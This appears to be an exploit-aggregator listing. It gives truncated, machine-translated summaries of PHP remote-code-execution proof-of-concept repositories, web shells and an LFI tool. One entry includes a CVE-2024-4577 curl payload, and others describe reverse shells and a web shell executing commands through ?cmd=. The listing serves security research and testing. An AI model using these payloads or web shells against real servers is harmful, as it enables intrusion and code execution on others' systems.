CVE-2024-25641-CACTI-RCE-1.2.26

CVE-2024-25641 - Cacti 1.2.26 - 任意文件写入致 RCE 🌵 已认证的 RCE Cacti 版本 v1.2.26 摘要 一个任意文件写入漏洞，可通过“包导入”功能加以利用，允许具有“导入模板”权限的已认证用户在 Web 服务器上执行任意 PHP 代码（远程代码执行）。 概念验证 用法 root@kitploit: git clone https://github.com/StopThatTalace/CVE-2024-25641-CACTI-RCE-1.2.26.git && cd CVE-2024-25641-CACTI-RCE-1.2.26 pip...

majordomo-CVE-2026-27174-poc

majordomo-CVE-2026-27174-poc MajorDomo（Major Domestic Module）の管理パネルのPHPコンソール機能を介した、認証なしのリモートコード実行（RCE）を悪用する概念実証（PoC）です。 脆弱性 MajorDoMoの管理パネルは、/admin.php を介してPHP評価コンソールを公開しています。panel.class.php の認証リダイレクト後に exit が欠落しているため、AJAXハンドラ incpanelajax.php が無条件にインクルードされ、その eval は認証されていない任意のHTTPリクエストから到達可能になりま...

Apache-Struts-v4

Apache-Struts-v4 Скрипт содержит 5 различных уязвимостей, которые эксплуатируют RCE-уязвимости в Apache Struts. На данный момент он поддерживает только создание PHP-оболочки shell. CVE ДОБАВЛЕНИЕ...

CVE-2024-4577

연구 목적으로만 기본 XAMPP용 PoC root@kitploit: curl -v -d "" http://127.0.0.1/php-cgi/php-cgi.exe/?%add+allowurlinclude%3Don+-d+autoprependfile%3Dphp%3A//input+-d+cgi.forceredirect%3D0...

Magento-CVE-2016-4010

Magento 인증되지 않은 원격 코드 실행 취약점CVE-2016-4010 분석 및 활용 0x00 서문 5월 17일, 해외 보안 연구원 Netanel Rubin이 Magento의 인증되지 않은 원격 코드 실행 취약점CVE-2016-4010을 공개했습니다. 이 취약점은 실제로 여러 개의 작은 취약점을 포함하며, 공격자가 취약한 Magento 서버에서 인증 없이 PHP 코드를 실행할 수 있도록 합니다. Magento는 매우 인기 있는 전자상거래 플랫폼으로, 2011년 eBay에 인수되었습니다. 삼성, 니콘, 레노버와 같은 유명 기...

magescan

Mage 扫描 这个工具的目的是评估你无法直接访问的 Magento 网站的质量和安全性。 适用于你在面试潜在开发者或评估新客户时，想提前了解你将面临什么情况。 安装 .phar 从发布页面下载 magescan.phar 文件 使用 php 命令在命令行中运行 root@kitploit: php magescan.phar scan:all www.example.com 源码 克隆此仓库 使用 composer 安装 root@kitploit: git clone https://github.com/steverobbins/magescan magescan cd...

CVE-2024-51430

CVE-2024-51430 Tipo de Vulnerabilidad Cross-Site Scripting XSS Descripción Existe una vulnerabilidad de Cross Site Scripting en el sistema de gestión de laboratorios de diagnóstico en línea que utiliza PHP v.1.0, la cual permite a un atacante remoto ejecutar código arbitrario a través del parámet...

CVE-2023-41892_poc

CVE-2023-41892poc 自分用にカスタマイズ pocnoauth.py ベーシックなPHPワンライナーウェブシェル ?cmd= によるOSコマンド実行 pocauth.py シンプルなキーベース認証を追加したウェブシェル（SHA-256ハッシュ比較方式） 正しいキーを入力しないとコマンド実行不可 コード修正が必要: droppayload 関数内の webshell 変数で YOURSECRETKEY の部分を、使用するキーの SHA-256ハッシュ値 に変更 使い方: 1. webshell 内の YOURSECRETKEY → 平文キーの SHA-256 ハッシュ値に置き...

slopShell

slopShell php веб-шелл Поскольку я облажался и забыл рассказать об использовании, вот оно. Для работы этого шелла вам понадобятся две вещи: жертва, которая разрешает загрузку PHP-файлов вы сами, в образовательной среде, и способ отправлять HTTP-запросы к этому веб-шеллу клиентский скрипт — на 100...

cve-2024-37762

설명 MachForm 버전 21까지는 인증된 무제한 파일 업로드에 영향을 받아 원격 코드 실행이 가능합니다. 이 애플리케이션은 파일 업로드 기능이 있는 양식을 생성할 수 있는 기능을 제공합니다. 기본적으로 허용되는 파일은 일반적인 안전한 하위 집합으로 제한되지만, 양식 작성자는 추가로 허용할 형식을 지정할 수 있습니다. 양식 생성 권한이 있는 사용자가 'PHP' 형식이 허용된 파일 업로드 기능이 있는 양식을 만들면, 인증되지 않은 사용자도 이 양식을 악용하여 원격 코드 실행을 얻을 수 있습니다. 위험 심각도: 치명적 CVSS...

CVE-2015-8351

gwollebuster このスクリプトは、WordPressの古いプラグインgwolleのエクスプロイトです。 使用方法: ./gwollebuster.py 第一引数 = gwolleがインストールされたWordPressのターゲットURL 第二引数 = あなたのIPアドレス 第三引数 = リバースシェル用のリスニングポート 例: ./gwollebuster.py http://vulnpress.com/ 192.168.1.5 1234...

CVE-2024-4577-RCE

PHP CGI 인수 주입 CVE-2024-4577 RCE 📜 설명 PHP 8.1. 8.1.29 미만, 8.2. 8.2.20 미만, 8.3. 8.3.8 미만 버전에서 Windows에서 Apache와 PHP-CGI를 사용하는 경우, 시스템이 특정 코드 페이지를 사용하도록 설정되어 있으면 Windows가 Win32 API 함수에 전달된 명령줄에서 문자를 대체하기 위해 "Best-Fit" 동작을 사용할 수 있습니다. PHP CGI 모듈이 이러한 문자를 PHP 옵션으로 잘못 해석하여, 악의적인 사용자가 실행 중인 PHP 바이너리에 옵션...

Inject-PHP-to-JPG-Using-Jhead

Inject-PHP-to-JPG-Using-Jhead $ pkg install vim or apt-get install vim $ pkg install jhead or apt-get install jhead $ jhead -h ヘルプを表示 $ jhead -purejpg yourfiles.jpg $ jhead -ce yourfiles.jpg ESC を押して :x と入力し保存 $ jhead yourfiles.jpg 例 : site.com/youfiles.php?cmd=Command Here...

CVE-2018-11686

CVE-2018-11686 CVE-2018-11686 - FlexPaper PHP Publish Service RCE = 2.3.6 found by Red Timmy Security 技術的分析: https://www.exploit-db.com/docs/english/46521-flexpaper-=-2.3.6-remote-code-execution-whitepaper.pdf セキュリティアドバイザリ: 不明 概念実証: 1. 設定ファイルの削除 FlexPaper（PHP）の changeconfig.php...

CVE-2012-2122-scanner

사용법: php scanner.php 10.0.0.1/18 block in cidr notation 요구 사항: php5-cli...

CVE-2016-010033-010045

CVE-2016-010033-010045 Php mail RCE CVE-2016-010033/45 已移植到 python3 开始使用 这些说明将帮助你在本地机器上获取项目副本并运行，用于开发和测试目的。有关如何在生产系统上部署项目的说明，请参阅部署部分。 前提条件 Python3 安装 root@kitploit: apt-get install python3 root@kitploit: git clone https://github.com/zi0Black/CVE-2016-010033-010045.git 运行测试 在启动脚本前编辑其中的参数 !!!...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics 1.7.3 - リモートコード実行エクスプロイト v2 Open Web Analytics 1.7.3 - RCE の実用的なエクスプロイト、pentestmonkey の PHP リバースシェル で拡張、キャッシュ内のユーザーが見つからない問題を修正。 元のエクスプロイトはこちらにあります。 使い方 攻撃マシンのIPアドレスとポートを php-reverse-shell.php ファイルに追加し、exploit.py を引数 -u（脆弱なターゲットURLを指定）で実行してください。 root@kitploit:...

CVE-2023-4220

CVE-2023-4220 CVE-2023-4220용 익스플로잇 이것은 CVE-2023-4220 취약점을 악용하기 위한 익스플로잇입니다. 익스플로잇을 실행하려면 다음과 같이 사용합니다: python3 exploit.py-u 'http:///main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported' -f 'archivoasubir'...

LFISuite

LFI Suite LFI Suiteとは？ LFI Suiteは、完全に自動化 されたツールで、Featuresセクションに記載されたさまざまな攻撃手法を用いてLocal File Inclusionの脆弱性をスキャンし、悪用することができます。 機能 Windows、Linux、OS Xで動作 自動設定 自動更新 以下の8つの異なるLocal File Inclusion攻撃モードを提供： /proc/self/environ php://filter php://input /proc/self/fd access log phpinfo data:// expect://...

SPIP-BigUp-Unauthenticated-RCE-Exploit-CVE-2024-8517

SPIP BigUp 未認証 RCE エクスプロイト CVE-2024-8517 説明 この Python スクリプトは、SPIP CMS Système de Publication pour l'Internet Partagé の BigUp プラグイン における 未認証のリモートコード実行 RCE 脆弱性を悪用します。この欠陥は listerfichiersparchamps 関数に存在し、bigupretrouverfichiers パラメータが 1 に設定されている場合に入力を適切に検証しません。これにより、攻撃者は悪意のある PHP ペイロードをアップロードし、認証なしで...